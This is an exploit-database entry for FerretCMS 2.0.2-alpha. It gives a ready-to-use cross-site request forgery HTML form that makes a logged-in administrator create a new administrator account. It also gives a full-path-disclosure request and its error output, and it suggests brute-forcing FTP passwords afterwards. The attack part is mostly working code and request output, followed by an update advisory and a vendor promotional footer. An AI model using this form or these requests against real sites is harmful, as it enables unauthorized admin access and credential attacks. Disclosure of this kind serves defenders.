# Title : FerretCMS 2.0.2-alpha - Exploit CSRF Vulnerability
# Author : ZwX
# Date : 24/02/2015
# Download : https://codeload.github.com/JRogaishio/ferretCMS/zip/master
# Vendor : https://github.com/JRogaishio
# Level Security : Hight
# Tested on : Windows 7
+----------------------+
Description & Detail
+----------------------+
An attacker could create a forged request to be executed by the administrator to have administrator access.
+----------------------+
Proof Of Concept
+----------------------+
<html>
<!-- Cross Site Request Forgery -->
<form action="http://127.0.0.1/projects/ferretCMS-master/admin.php?type=account&action=insert&p=" method="post">
<input type="hidden" name="username" id="username" class="cms_username"type="text" maxlength="150" value="hack" />
<input type="hidden" name="password" id="password" type="password" maxlength="150" value="hack" />
<input type="hidden" name="password2" id="password2" type="password" maxlength="150" value="hack" />
<input type="hidden" name="email" id="email" type="text" maxlength="150" value="[email protected]" />
<select name='groupId'><option type="hidden" value='1'></option></select>
<input type="submit" name="saveChanges" class="btn btn-success btn-large" value="Create This User!" /><br /><br />
</form>
</html>
+----------------------+
Description & Detail
+----------------------+
A vulnerability displays the full path to the vulnerable script while indicating the type of vulnerability
Vulnerability lies in the orm.php & post.php a file
An attacker could retrieve the identifier of the FTP because of this path disclose.
Once done there remains only brute force the password
+----------------------+
Proof Of Concept
+----------------------+
# URL : /ferretCMS-master/admin.php?type=post&action=update&p=0&c[]=1
# Results : Notice: Array to string conversion in
C:\Program Files\EasyPHP-DevServer-14.1VC11\data\localweb\projects\ferretCMS-master\models\entity\orm.php on line 92
Notice: Array to string conversion in
C:\Program Files\EasyPHP-DevServer-14.1VC11\data\localweb\projects\ferretCMS-master\models\entity\post.php on line 95
# Request TamperData
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: token=3bfe1c52f87a09b6d31bc3516ed138bc1eba7353e9fd6373527c165dcd0e6c58; PHPSESSID=//setcookie()
Connection: keep-alive
# Result Request
<b>Warning</b>: session_start(): The session id is too long or contains illegal characters,
valid characters are a-z, A-Z, 0-9 and '-,' in <b>C:\Program Files\EasyPHP-DevServer-14.1VC11\data\localweb\projects\ferretCMS-master\config.php</b> on line <b>2</b><br />
+----------------------+
Solution
+----------------------+
Udapte FerretCMS 2.0.3-alpha
# 0day.today [2018-03-20] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation